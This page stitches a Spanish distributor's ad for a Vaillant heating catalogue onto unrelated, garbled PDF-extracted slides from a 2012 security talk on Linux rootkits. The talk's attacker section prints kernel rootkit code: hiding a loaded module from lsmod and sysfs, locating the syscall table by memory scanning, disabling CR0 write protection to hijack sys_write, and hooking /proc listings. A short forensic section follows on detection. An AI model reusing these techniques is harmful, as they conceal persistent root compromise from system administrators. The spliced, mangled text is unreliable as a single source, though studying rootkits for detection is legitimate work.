Descarga el Catálogo General de Tarifas 2024 de Vaillant, líder en tecnología para calefacción, ventilación y energía solar térmica y fotovoltaica. En Amado Salvador, como distribuidor oficial de Vaillant, te ofrecemos una amplia gama de productos de alta calidad y diseño innovador para tus proyectos de climatización y energía.
Descubre nuestra selección de productos Vaillant, incluyendo bombas de calor altamente eficientes, fancoils de última generación, sistemas de ventilación de alto rendimiento y soluciones de energía solar fotovoltaica y térmica para un rendimiento óptimo y sostenible. El catálogo de Vaillant 2024 presenta una variedad de opciones en calderas de condensación que garantizan eficiencia energética y durabilidad.
Con Vaillant, obtienes más que productos de climatización: control avanzado y conectividad para una gestión inteligente del sistema, acumuladores de agua caliente de gran capacidad y sistemas de aire acondicionado para un confort total. Confía en la fiabilidad de Amado Salvador como distribuidor oficial de Vaillant, y en la resistencia de los productos Vaillant, respaldados por años de experiencia e innovación en el sector.
En Amado Salvador, distribuidor oficial de Vaillant en Valencia, no solo proporcionamos productos de calidad, sino también servicios especializados para profesionales, asegurando que tus proyectos cuenten con el mejor soporte técnico y asesoramiento. Descarga nuestro catálogo y descubre por qué Vaillant es la elección preferida para proyectos de climatización y energía en Amado Salvador.
Hide and Find Rootkits in Linux [GuadalajaraCON 2012]
1. Hide and Find Rootkits in Linux
Hide and Find Rootkits in Linux
Forensics and Attack Strategies
NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio
20 de Abril de 2012
2. Hide and Find Rootkits in Linux
Contents
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
3. Hide and Find Rootkits in Linux
Introducci´n
o
Definiciones
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
4. Hide and Find Rootkits in Linux
Introducci´n
o
Definiciones
¿Qu´ es un Rootkit?
e
Un rootkit (seg´n Wikipedia), se puede definir como:
u
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
5. Hide and Find Rootkits in Linux
Introducci´n
o
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ o archivos de configuraci´n, e
ıas, o
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
6. Hide and Find Rootkits in Linux
Introducci´n
o
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
7. Hide and Find Rootkits in Linux
La perspectiva del Atacante
M´todos de Ataque
e
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
8. Hide and Find Rootkits in Linux
La perspectiva del Atacante
M´todos de Ataque
e
M´todos de Ataque
e
Modificaci´n de las estructuras de datos (la misma que
o
contiene los procesos corriendo en el sistema actualmente).
Interceptando las llamadas a sistema mediante la modificaci´n
o
de la tabla de llamadas o del handler de cierta syscall
(Dinamyc or Static Hijacking).
Interrupt Hooking, modificando la tabla de descriptores de las
interrupciones (IDT) 0x80.
Modificando la memoria del kernel (/dev/kmem).
Interceptando el manejo de llamadas del VFS (/proc /sys)
Virtual Memory Subversion, un ataque novedoso para
presentar vistas de la memoria de los procesos.
9. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
10. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Escondiendo desde el Kernel
The Ring Model Intel tiene cuatro anillos
MS Windows y otros,
manejan solo dos.
Usando solo dos niveles de
privilegios, no hay separaci´n
o
entre el kernel y los drivers
(root es tambi´n ring-3).
e
Los drivers pueden modificar
la memoria asociada con
objetos del kernel... tales
como aquellos que
representan un proceso.
11. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Introduciendo al LKM
Las comunicaciones entre el espacio de usuario (ring-3), y el
espacio del kernel (ring-0), se hacen mediante archivos.
Debido al punto anterior, existe y conocemos /proc, /sys,
/dev. Dichos directorios solo existen en RAM.
Llamadas a sistemas, est´n guardadas en una tabla especial
a
(sys call table).
12. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Consideraciones
Las diferencias m´s importantes entre un desarrollo a n´ kernel o
a ıvel
espacio usuario son:
El kernel carece de protecci´n de memoria... algo que se
o
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´nfasis al
e
desarrollar (Race-Conditions).
La potabilidad... entre versi´n y versi´n de n´cleo.
o o u
13. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´dulos que est´n cargados (lsmod y
o a
/proc leen dicha lista).
Esconder nuestro m´dulo es muy sencillo, en la funci´n de
o o
inicio del m´dulo basta con eliminar la referencia de la lista:
o
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´n:
o
1 A´n somos detectables desde /sys
u
2 Al hacer un unload del m´dulo, debido a que no existe en la
o
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
14. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´digo del kernel, vemos que en la descarga del
o
m´dulo, primero debemos eliminarnos de /sys y
o
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´n iniciado a NULL
e
Recomendaciones:
1 Recordar informaci´n previa (prev y next en la lista).
o
2 Sobreescribir readproc y writeproc
3 Funciones est´ticas para no dejar rastros en /proc/kallsyms
a
15. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module: A little taste
static inline void natas_hide(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
static int __init natas_init(void) {
/*Inicializaciones del modulo*/
...
natas_hide();
return 0;
}
module_init(natas_init);
16. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
17. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Overview
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
18. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Hidding
Esconder un proceso no es m´s que eliminar la tarea de los
a
punteros prev y next de la lista tasks.
19. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Issues
La eliminaci´n de las referencias en next y prev, ocasionan que
o
el scheduler no vea el proceso que escondimos.
Si el scheduler no ve el proceso, no le asigna tiempo de CPU,
ocasionando que la tarea se congele.
Adicional, es preciso modificar el scheduler para que asigne
tiempo al proceso padre del PID 0 (init).
¿Es posible encontrar el proceso? S´ Usando gdb, conociendo
ı.
nuestra arquitectura y cuanto pesa nuestra task struct. A partir de
ah´ y haciendo uso de System.map, /dev/kcore y la imagen es
ı
posible recrear la tabla de procesos.
20. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
21. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
La direcci´n de la sys call table, puede ser encontrada en el archivo
o
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´
ımbolos se
exporten, sys close por ejemplo.
22. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
23. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´s del
e
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
24. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
25. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}
26. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End
27. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
M´todos de Detecci´n
e o
Comparando la tabla de S´ ımbolos, Cada cierto tiempo se
realizar comparaciones con la tabla de Sistema original
(System.map) con la actual tabla.
An´lisis de Binarios, desde m´todos tan sencillos como
a e
constantes revisiones de la suma MD5, hasta utilizaci´n de
o
trazas y visualizaci´n de estructuras de datos sobre el kernel.
o
An´lisis del Path de Ejecuci´n, Un rotkit modifica el
a o
camino de ejecuci´n de una llamada a sistema
o
28. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
Path Analysis
29. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
M´todos de Detecci´n
e o
root@alien-natas:~# dmesg | grep -i task
[ 3.082767] registered taskstats version 1
[ 251.622695] My task_struct --> 1048
root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D
c13d8fe0 D init_task
root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore
Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae
root=/dev/mapper/sda2_crypt ro single’.
#0 0x00000000 in ?? ()
(gdb) x/262wx 0xc13d8fe0
0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000
0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000
0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000
0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000
0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028
0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068
0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000
0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000
30. Hide and Find Rootkits in Linux
The End
Greetings
Gr33tz!!
@nitr0usmx @preth00nker
@ hkm @ tty0
@calderpwn @psymera
@ch1rx @napa topos
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
A
LTEX para todos